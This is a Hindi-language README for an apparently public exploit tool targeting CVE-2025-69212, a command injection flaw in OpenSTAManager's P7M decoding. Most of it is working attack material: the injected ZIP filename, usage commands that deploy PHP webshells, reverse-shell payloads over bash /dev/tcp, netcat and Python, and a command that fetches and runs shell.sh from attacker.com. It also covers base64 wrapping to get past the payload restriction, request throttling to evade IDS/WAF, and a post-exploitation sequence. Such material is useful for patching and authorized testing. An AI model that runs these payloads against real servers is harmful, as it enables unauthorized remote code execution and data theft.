OpenSTAManager v2.9.8 और इससे पहले के संस्करणों में P7M (साइन किया गया XML) फ़ाइल डिकोडिंग फ़ंक्शन में एक महत्वपूर्ण OS Command Injection भेद्यता है।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2025-69212 |
| गंभीरता | CRITICAL (CVSS 4.0: 9.4) |
| CWE | CWE-78: OS कमांड इंजेक्शन |
| प्रभावित संस्करण | OpenSTAManager <= 2.9.8 |
| कमजोर फ़ंक्शन | XML::decodeP7M() in src/Util/XML.php |
| आक्रमण वेक्टर | अपलोड किए गए ZIP आर्काइव में दुर्भावनापूर्ण फ़ाइलनाम |
| प्रमाणीकरण | आवश्यक (इनवॉइस आयात पहुंच वाला कोई भी उपयोगकर्ता) |
| प्रभाव | वेब सर्वर उपयोगकर्ता के रूप में पूर्ण रिमोट कोड निष्पादन (RCE) |
OpenSTAManager v2.9.8 और पुराने संस्करणों में P7M (साइन किया गया XML) फ़ाइल डिकोडिंग फ़ंक्शन में एक महत्वपूर्ण OS कमांड इंजेक्शन भेद्यता है। src/Util/XML.php में decodeP7M() विधि बिना सैनिटाइज़ेशन के उपयोगकर्ता-नियंत्रित फ़ाइलनामों को सीधे PHP के exec() फ़ंक्शन में पास करती है, जिससे प्रमाणित हमलावर सर्वर पर मनमाने सिस्टम कमांड निष्पादित कर सकते हैं।
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
$file पैरामीटर — जो अपलोड किए गए ZIP आर्काइव के अंदर फ़ाइलनामों से उत्पन्न होता है — डबल कोट्स में लपेटा गया है लेकिन कभी escapeshellarg() से सैनिटाइज़ नहीं किया गया। एक हमलावर एक .p7m फ़ाइलनाम बना सकता है जो डबल-कोट संदर्भ से बच निकलता है और मनमाने शेल कमांड इंजेक्ट करता है।
plugins/importFE_ZIP/actions.php:126 — इलेक्ट्रॉनिक इनवॉइस वाले ZIP अपलोड को संसाधित करते समय प्राथमिक वेक्टरplugins/importFE/src/FatturaElettronica.php:56 — कंस्ट्रक्टर जो अलग-अलग .p7m फ़ाइलों को प्रोसेस करता है| सुविधा | विवरण |
|---|---|
--check | जाँचें कि लक्ष्य असुरक्षित है या नहीं (एक मार्कर फ़ाइल बनाता है और जाँचता है) |
--webshell | OS कमांड इंजेक्शन के माध्यम से PHP वेबशेल तैनात करें |
--rce | तैनात वेबशेल के माध्यम से इंटरएक्टिव कमांड निष्पादन |
--reverse-shell | रिवर्स शेल ट्रिगर करें (python, nc, nc-e विधियाँ) |
--cmd | ब्लाइंड कमांड निष्पादन (फायर-एंड-फॉरगेट) |
--shell-dir | कस्टम वेबशेल लेखन निर्देशिका |
--method | रिवर्स शेल विधि चयन |
--proxy | HTTP प्रॉक्सी समर्थन (Burp Suite) |
--delay | IDS/WAF चोरी के लिए अनुरोध थ्रॉटलिंग |
| Auto-detection | importFE_ZIP मॉड्यूल/प्लगइन आईडी की स्वचालित खोज |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# क्रेडेंशियल के साथ लॉगिन
python3 exploit.py -t http://target.com -u admin -p secret --check
# मौजूदा सत्र कुकी का उपयोग करें
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# प्लगइन का ऑटो-डिटेक्ट करें और भेद्यता सत्यापित करें
python3 exploit.py -t http://target.com -u admin -p secret --check
# ज्ञात मॉड्यूल/प्लगइन आईडी के साथ
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# वेबशेल को डिफ़ॉल्ट निर्देशिका (files/) में तैनात करें
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# कस्टम निर्देशिका और फ़ाइलनाम
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# वेबशेल तैनाती + इंटरएक्टिव शेल
python3 exploit.py -t http://target.com -u admin -p secret --rce
# पिछले रन से मौजूदा वेबशेल के साथ
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# बैश रिवर्स शेल (डिफ़ॉल्ट, बहुत विश्वसनीय)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# पायथन रिवर्स शेल
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# mkfifo के साथ Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# -e फ़्लैग के साथ Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# एक कमांड निष्पादित करें (कोई आउटपुट वापस नहीं)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# पेलोड डाउनलोड और निष्पादित करें
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# Burp Suite प्रॉक्सी के माध्यम से
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# अनुरोध विलंब के साथ (2 सेकंड)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# SSL सत्यापन छोड़ें
python3 exploit.py -t https://target.com -u admin -p secret --check -k
Target:
-t, --target लक्ष्य मूल URL
Authentication:
-u, --user लॉगिन के लिए उपयोगकर्ता नाम
-p, --password लॉगिन के लिए पासवर्ड
-c, --cookie मौजूदा PHPSESSID मान
Actions:
--check सत्यापित करें कि लक्ष्य असुरक्षित है
--webshell PHP वेबशेल तैनात करें
--rce वेबशेल के माध्यम से इंटरएक्टिव शेल
--reverse-shell रिवर्स शेल (LHOST LPORT)
--cmd COMMAND ब्लाइंड कमांड निष्पादन
Shell Options:
--shell-dir DIR वेबशेल लेखन निर्देशिका (डिफ़ॉल्ट: files)
--shell-name NAME कस्टम वेबशेल फ़ाइलनाम
--method METHOD रिवर्स शेल विधि: bash, python, nc, nc-e
Plugin Detection:
--module-id ID OpenSTAManager मॉड्यूल आईडी
--plugin-id ID importFE_ZIP प्लगइन आईडी
Network:
--proxy URL HTTP प्रॉक्सी URL
-k, --no-ssl-verify SSL सत्यापन अक्षम करें
--delay SECONDS अनुरोधों के बीच विलंब
एक्सप्लॉइट एक ZIP आर्काइव बनाता है जिसमें एक दुर्भावनापूर्ण फ़ाइलनाम के साथ एक .p7m फ़ाइल होती है:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
जब OpenSTAManager इस फ़ाइल को प्रोसेस करता है, तो परिणामी exec() कॉल बन जाता है:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
शेल सेमीकोलन को कमांड सेपरेटर के रूप में व्याख्या करता है, समाप्त openssl कॉल और अनुगामी echo के बीच इंजेक्ट किए गए कमांड को निष्पादित करता है।
महत्वपूर्ण: PHP का
ZipArchive::extractTo()ZIP विनिर्देश के अनुसार फ़ाइलनामों में फ़ॉरवर्ड स्लैश (/) को निर्देशिका विभाजक के रूप में मानता है। दुर्भावनापूर्ण फ़ाइलनाम में कोई भी/आर्काइव प्रविष्टि को निर्देशिकाओं में विभाजित कर देगा, जिससे एक्सप्लॉइट पेलोड टूट जाएगा।
सभी इंजेक्ट किए गए कमांड को पूरी तरह से / से बचना चाहिए। इस प्रतिबंध को पूरी तरह से बायपास करने और PHP exec() को हैंग होने से रोकने के लिए (जो सर्वर वर्कर्स को बांध सकता है और टाइमआउट का कारण बन सकता है), एक्सप्लॉइट अब स्वचालित रूप से पेलोड को Base64 में लपेटता है और उन्हें पृष्ठभूमि में निष्पादित करता है:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
यह हमें आंतरिक पेलोड में स्वाभाविक रूप से / का उपयोग करने की अनुमति देता है (जैसे, /dev/tcp/10.10.14.5/4444) बिना ZIP संरचना को तोड़े।
| विधि | पेलोड | आवश्यकता |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat with -e support |
bash विधि अब डिफ़ॉल्ट है क्योंकि यह Linux लक्ष्यों पर सबसे विश्वसनीय और मूल विधि है।
importFE_ZIP प्लगइन के माध्यम से ZIP अपलोड करें
└── actions.php प्लगइन हैंडलर पर डिस्पैच करता है
└── ZipArchive::extractTo() फ़ाइलें निकालता है
└── .p7m फ़ाइलों पर पुनरावृति करता है
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── शेल इंजेक्ट किए गए कमांड की व्याख्या करता है
1. --check → मार्कर फ़ाइल के माध्यम से RCE की पुष्टि करें
2. --webshell → files/ निर्देशिका में PHP शेल डालें
3. --rce → इंटरएक्टिव कमांड निष्पादन
4. Enumerate → id, cat /etc/passwd, ifconfig
5. Pivot → हमलावर को रिवर्स शेल, पोस्ट-एक्सप्लॉइटेशन
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।